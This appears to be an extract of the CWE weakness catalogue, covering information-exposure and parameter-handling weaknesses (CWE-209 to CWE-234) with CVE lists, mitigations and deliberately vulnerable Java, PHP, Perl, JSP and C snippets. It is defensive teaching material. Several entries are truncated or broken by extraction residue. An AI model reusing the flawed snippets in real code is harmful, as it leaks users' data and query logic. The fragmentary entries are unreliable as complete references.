SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."

Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.

Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.

FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.

Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.

**Relationship Notes**

Often primary in cryptographic applications and algorithms.

**Functional Areas**

- Cryptography, authentication

**Taxonomy Mappings**

- PLOVER: Timing discrepancy infoleak

**Related Attack Patterns**

- CAPEC-ID 462: Cross-Domain Search Timing

**CWE-209: Information Exposure Through an Error Message**

**Weakness ID:** 209 (Weakness Base) **Status:** Draft

**Description**
The software generates an error message that includes sensitive information about its environment, users, or associated data.

**Extended Description**

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

**Time of Introduction**

- Architecture and Design
- Implementation
- System Configuration
- Operation

**Applicable Platforms**

**Languages**

- PHP *(Often)*
- All

**Common Consequences**

**Confidentiality**

**Read application data**

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.

**Likelihood of Exploit**

High

**Detection Methods**

**Manual Analysis**

High

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

**Automated Analysis**

Moderate

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

**Automated Dynamic Analysis**

Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.
Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:
In the following example, sensitive information might be printed depending on the exception that occurs.

Java Example:

```java
try {
    //...
} catch (Exception e) {
    System.out.println(e);
}
```

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

Example 2:
This code tries to open a database connection, and prints any exceptions that occur.

PHP Example:

```php
try {
    openDbConnection();
} catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), '
';
    echo 'Check credentials in config file at: ', $Mysql_config_location, '
';
}
```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3:
The following code generates an error message that leaks the full pathname of the configuration file.

Perl Example:

```perl
$ConfigDir = "~/home/myprog/config";
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ \^\w+$\); $file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
    ExitError("Error: $file does not exist");
}
...
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be
used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

**Example 4:**
In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

**Java Example:**

```java
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = " + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database," + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-0603</td>
<td>Malformed regexp syntax leads to information exposure in error message.</td>
</tr>
<tr>
<td>CVE-2007-1409</td>
<td>Direct request to library file in web application triggers pathname leak in error message.</td>
</tr>
<tr>
<td>CVE-2007-5172</td>
<td>Program reveals password in error message if attacker can trigger certain database errors.</td>
</tr>
<tr>
<td>CVE-2008-1579</td>
<td>Existence of user names can be determined by requesting a nonexistent blog and reading the error message.</td>
</tr>
<tr>
<td>CVE-2008-2049</td>
<td>POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.</td>
</tr>
<tr>
<td>CVE-2008-3060</td>
<td>Malformed input to login page causes leak of full path when IMAP call fails.</td>
</tr>
<tr>
<td>CVE-2008-4638</td>
<td>Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

**Implementation**

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.
Implementation

Identify and Reduce Attack Surface

Defense in Depth

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible. This makes it easier to spot places in the code where data is being used that is unencrypted.

Implementation

Build and Compilation

Compilation or Build Hardening

Environment Hardening

Debugging information should not make its way into a production release.

System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.

System Configuration

Create default error pages or messages that do not leak any information.

CWE-210: Information Exposure Through Self-generated Error Message

<table>
<thead>
<tr>
<th>Weakness ID: 210 (Weakness Base)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status: Draft</td>
</tr>
</tbody>
</table>

Description
Summary
The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
Languages
- All

Common Consequences
Confidentiality
Read application data
Demonstrative Examples

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

Perl Example:

```perl
$uname = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
if ($uname =~ /^[\w+]$/) {
    ExitError("Bad hacker!");
}
$filename = "/home/myprog/config/" . $uname . ".txt";
if (!(-e $filename)) {
    ExitError("Error: $filename does not exist");
}
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

CWE-211: Information Exposure Through Externally-generated Error Message

**Description**

**Summary**
The software performs an operation that triggers an external diagnostic or error message that is not directly generated by the software, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- PHP *(Often)*
- All

**Common Consequences**

**Confidentiality**
Read application data

**Enabling Factors for Exploitation**

PHP applications are often targeted for having this issue when the PHP interpreter generates the error outside of the application's control. However, it's not just restricted to PHP, as other languages/environments exhibit the same issue.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1101</td>
<td>Improper handling of filename request with trailing &quot;/&quot; causes multiple consequences, including information leak in Visual Basic error message.</td>
</tr>
<tr>
<td>CVE-2004-1579</td>
<td>Single &quot;&quot; inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue.</td>
</tr>
<tr>
<td>CVE-2004-1581</td>
<td>chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute.</td>
</tr>
<tr>
<td>CVE-2005-0433</td>
<td>Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function.</td>
</tr>
<tr>
<td>CVE-2005-0443</td>
<td>invalid parameter triggers a failure to find an include file, leading to infoleak in error message.</td>
</tr>
<tr>
<td>CVE-2005-0459</td>
<td>chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**System Configuration**
Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable display_errors.

**Implementation**

**Build and Compilation**

**Compilation or Build Hardening**

**Environment Hardening**
Debugging information should not make its way into a production release.

**Implementation**
Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.
Implementation
The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

Weakness Ordinalities
Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-212: Improper Cross-boundary Removal of Sensitive Data

CWE-212: Improper Cross-boundary Removal of Sensitive Data

Weakness ID: 212 (Weakness Base) Status: Incomplete

Description
Summary
The software uses a resource that contains sensitive data, but it does not properly remove that data before it stores, transfers, or shares the resource with actors in another control sphere.

Extended Description
Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.
For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

Terminology Notes
The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
Languages
- Language-independent

Common Consequences
Confidentiality
Read files or directories
Read application data
Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.

Demonstrative Examples
This code either generates a public HTML user information page or a JSON response containing the same user information.

**PHP Example:**

```php
// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
    $record = getUserRecord($username);
    foreach($record as $fieldName => $fieldValue)
    {
        if($fieldName == "email_address") {
            // skip displaying user emails
            continue;
        } else{
            writeToHtmlPage($fieldName,$fieldValue);
        }
    }
} else{
    $record = getUserRecord($username);
    echo json_encode($record);
}
```

The programmer is careful to not display the user’s e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user’s e-mail address.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0704</td>
<td>NAT feature in firewall leaks internal IP addresses in ICMP error messages.</td>
</tr>
<tr>
<td>CVE-2005-0406</td>
<td>Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).</td>
</tr>
</tbody>
</table>

Potential Mitigations

Requirements
Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

Architecture and Design

Separation of Privilege
Compartimentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.
Implementation

Identify and Reduce Attack Surface

Defense in Depth

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible. This makes it easier to spot places in the code where data is being used that is unencrypted.

Implementation

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.

</tr>
</tbody>
</table>

Relationship Notes

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

</table>

**CWE-213: Intentional Information Exposure**

**Weakness ID:** 213  *(Weakness Base)*  

**Status:** Draft

**Description**

**Summary**

A product's design or configuration explicitly requires the publication of information that could be regarded as sensitive by an administrator.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All
Common Consequences
Confidentiality
Read application data

Demonstrative Examples
This code displays some information on a web page.

JSP Example:

```
Social Security Number: <%= ssn %><br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1725</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2003-1038</td>
<td>Product lists DLLs and full pathnames.</td>
</tr>
<tr>
<td>CVE-2003-1181</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2004-0033</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2004-1422</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2004-1590</td>
<td>Script calls phpinfo()</td>
</tr>
<tr>
<td>CVE-2005-0488</td>
<td>Telnet protocol allows servers to obtain sensitive environment information from clients.</td>
</tr>
<tr>
<td>CVE-2005-1205</td>
<td>Telnet protocol allows servers to obtain sensitive environment information from clients.</td>
</tr>
</tbody>
</table>

Other Notes
It's not always clear whether an information exposure is intentional or not. For example, CVE-2005-3261 identifies a PHP script that lists file versions, but it could be that the developer did not intend for this information to be public, but introduced a direct request issue instead.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>

<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
</tbody>
</table>

Relationship Notes
This overlaps other categories because some functionality might be intended by the developer, but is considered a weakness by the user or system administrator. In most cases, it is distinct from CWE-209: Information Exposure Through an Error Message because CWE-209 is often unintended.

Theoretical Notes
In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

</tr>
</tbody>
</table>

CWE-214: Information Exposure Through Process Environment

<table>
<thead>
<tr>
<th>Weakness ID: 214 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
A process is invoked with sensitive arguments, environment variables, or other elements that can be seen by other processes on the operating system.

Extended Description
Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Confidentiality
- Read application data

**Demonstrative Examples**

In the example below, the password for a keystore file is read from a system property.

**Java Example:**

```java
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
    System.err.println("ERROR: Keystore password not specified.");
    System.exit(-1);
} ...
```

If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1270</td>

Weakness ID: 215 (Weakness Variant)  Status: Draft

Description

Summary
The application contains debugging code that can expose sensitive information to untrusted parties.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
- All

Common Consequences

Confidentiality
Read application data

Demonstrative Examples
The following program changes its behavior based on a debug flag.

JSP Example:

```jsp
<% if (Boolean.getBoolean("debugEnabled")) {
    %>
    User account number: <%= acctNo %>
    <%
    %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0918</td>
<td>CGI script includes sensitive information in debug messages when an error is triggered.</td>
</tr>
<tr>
<td>CVE-2003-1078</td>
<td>FTP client with debug option enabled shows password to the screen.</td>
</tr>
<tr>
<td>CVE-2004-2268</td>
<td>Password exposed in debug information.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Do not leave debug statements that could be executed in the source code. Assure that all debug information is eradicated before releasing the software.

Architecture and Design

Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification

This weakness has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this weakness can be found at CWE-766 and CWE-767.

CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

CWE-219: Sensitive Data Under Web Root

The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

Common Consequences

Confidentiality

Read application data

Observed Examples

CWE-220: Sensitive Data Under FTP Root

Weakness ID: 220 (Weakness Variant) Status: Draft

Description

Summary
The application stores sensitive data under the FTP document root with insufficient access control, which might make it accessible to untrusted parties.

Time of Introduction
• Operation
• Architecture and Design

Applicable Platforms

Languages
• All

Common Consequences

Confidentiality
Read application data

Potential Mitigations

Implementation
System Configuration
Avoid storing information under the FTP root directory.

System Configuration
Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the FTP directory.

Background Details
Various Unix FTP servers require a password file that is under the FTP root, due to use of chroot.

CWE-223: Omission of Security-relevant Information

Weakness ID: 223 (Weakness Base) Status: Draft

Description

Summary
The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences
Non-Repudiation
Hide activities
The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.

Demonstrative Examples
This code logs suspicious multiple login attempts.

PHP Example:

```php
function login($userName,$password){
    if(authenticate($userName,$password)){
        return True;
    }
    else{
        incrementLoginAttempts($userName);
        if(recentLoginAttempts($userName) > 5){
```

CWE-224: Obscured Security-relevant Information by Alternate Name

Weakness ID: 224 (Weakness Base) Status: Incomplete

Description

Summary

The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Non-Repudiation
Access Control
Hide activities
Gain privileges / assume identity

Demonstrative Examples

This code prints the contents of a file if a user has permission.

PHP Example:

```php
function readFile($filename){
    $user = getCurrentUser();
    $realFile = $filename;
    //resolve file if its a symbolic link
    if(is_link($filename)){
        //Bad Code
    }
}...
```
$realFile = readlink($filename);
if(fileowner($realFile) == $user){
    echo file_get_contents($realFile);
    return;
} else{
    echo 'Access denied';
    writeLog($user . ' attempted to access the file '. $filename . ' on '. date('r'));
}
}

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure his target by giving the script the name of a link to the file he is attempting to access. Also note this code contains a race condition between the is_link() and readlink() functions (CWE-363).

**Observed Examples**

**CWE-225: DEPRECATED (Duplicate): General Information Management Problems**

**Weakness ID:** 225 *(Deprecated Weakness Base)*

**Status:** Deprecated

**Description**

**Summary**

This weakness can be found at CWE-199.

---

**CWE-226: Sensitive Information Uncleared Before Release**

**Weakness ID:** 226 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.

**Extended Description**

This typically results from new data that is not as long as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, it may allow unintended actors to read the data when the memory is reallocated.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
Language-independent

**Common Consequences**

Confidentiality

Read application data

**Observed Examples**

<td>1000</td>
</tr>
</tbody>
</table>

**Relationship Notes**

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

**Research Gaps**

Currently frequently found for network packets, but it can also exist in local memory allocation, files, etc.

**Affected Resources**

• Memory

**Functional Areas**

• Non-specific
• memory management
• networking

**Causal Nature**

Explicit (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**
CWE-227: Improper Fulfillment of API Contract ('API Abuse')

**Weakness ID:** 227 (Weakness Class)  
**Status:** Draft

**Description**

**Summary**

The software uses an API in a manner contrary to its intended use.

**Extended Description**

An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.

**Alternate Terms**

API Abuse

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

- Integrity
- Other
- Quality degradation
- Unexpected state

**Observed Examples**

<table>

**CWE-228: Improper Handling of Syntactically Invalid Structure**

**Weakness ID:** 228 *(Weakness Class)*

**Status:** Incomplete
CWE Version 2.11
CWE-228: Improper Handling of Syntactically Invalid Structure

Summary
The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

Time of Introduction
• Implementation
• Architecture and Design

Common Consequences
    Integrity
    Availability
    Unexpected state
    DoS: crash / exit / restart
    DoS: resource consumption (CPU)
    If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.

Demonstrative Examples
This application has registered to handle a URL when sent an intent:

Java Example:

```java
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

CWE-230: Improper Handling of Missing Values

**Description**

**Summary**

The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All
Common Consequences

Integrity
Unexpected state

Demonstrative Examples

This application has registered to handle a URL when sent an intent:

Java Example:

```java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

CWE-231: Improper Handling of Extra Values

<table>
<thead>
<tr>
<th>Weakness ID: 231 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary

The software does not handle or incorrectly handles when more values are provided than expected.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms
CWE Version 2.11
CWE-232: Improper Handling of Undefined Values

Languages
- All

Modes of Introduction
This typically occurs in situations when only one value is expected.

Common Consequences
Integrity
Unexpected state

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Extra Value Error</td>
</tr>
</tbody>
</table>

CWE-232: Improper Handling of Undefined Values

Weakness ID: 232 *(Weakness Variant)*

Status: Draft

Description

Summary
The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
Integrity
Unexpected state

Demonstrative Examples
In this example, an address parameter is read and trimmed of whitespace.

Java Example:

```java
String address = request.getParameter("address");
address = address.trim();
String updateString = "UPDATE shippingInfo SET address=?' WHERE email='cwe@example.com';
emailAddress = con.prepareStatement(updateString);
emailAddress.setString(1, address);
```

If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.

Observed Examples

<table>

<td>1000</td>
</tr>
</tbody>
</table>
CWE-233: Improper Handling of Parameters

**Description**

**Summary**
The software does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.

**Time of Introduction**
- Architecture and Design
- Implementation

**Common Consequences**
- Integrity
- Unexpected state

**Demonstrative Examples**
This application has registered to handle a URL when sent an intent:

**Java Example:**

```java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);

... public class UrlHandlerReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    if("com.example.URLHandler.openURL".equals(intent.getAction())) {
      String URL = intent.getStringExtra("URLToOpen");
      int length = URL.length();
      ...
  }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

**Relationships**

<tbody>
<tr>
<td>39</td>
<td>Manipulating Opaque Client-based Data Tokens</td>
</tr>
</tbody>
</table>

CWE-234: Failure to Handle Missing Parameter

**Weakness ID: 234 (Weakness Variant)**

**Status: Incomplete**

**Description**

**Summary**

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- Languages
  - All

**Common Consequences**

- Integrity
- Confidentiality
- Availability
- Access Control
- Execute unauthorized code or commands
- Gain privileges / assume identity

There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.

**Availability**

**DoS: crash / exit / restart**

Potentially a program could fail if it needs more arguments then are available.

**Likelihood of Exploit**

High

**Demonstrative Examples**

**C/C++ Example:**

```c
void foo_funct(int one, int two, int three) {
  printf("1) %d\n2) %d\n3) %d\n", one, two, three);
}
```

**C/C++ Example:**

```c
void some_function(int foo, ...) {
  int a[3], i;
  va_list ap;
  va_start(ap, foo);
  for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
  va_end(ap);
}
int main(int argc, char *argv[]) {
  some_function(17, 42);
}
```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

**Observed Examples**

</tbody>
</table>

Potential Mitigations

**Build and Compilation**

This issue can be simply combated with the use of proper build process.

**Implementation**

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Missing Parameter Error</td>
</tr>
<tr>
<td>CLASP</td>
<td>Missing parameter</td>
</tr>
</tbody>
</table>

Maintenance Notes

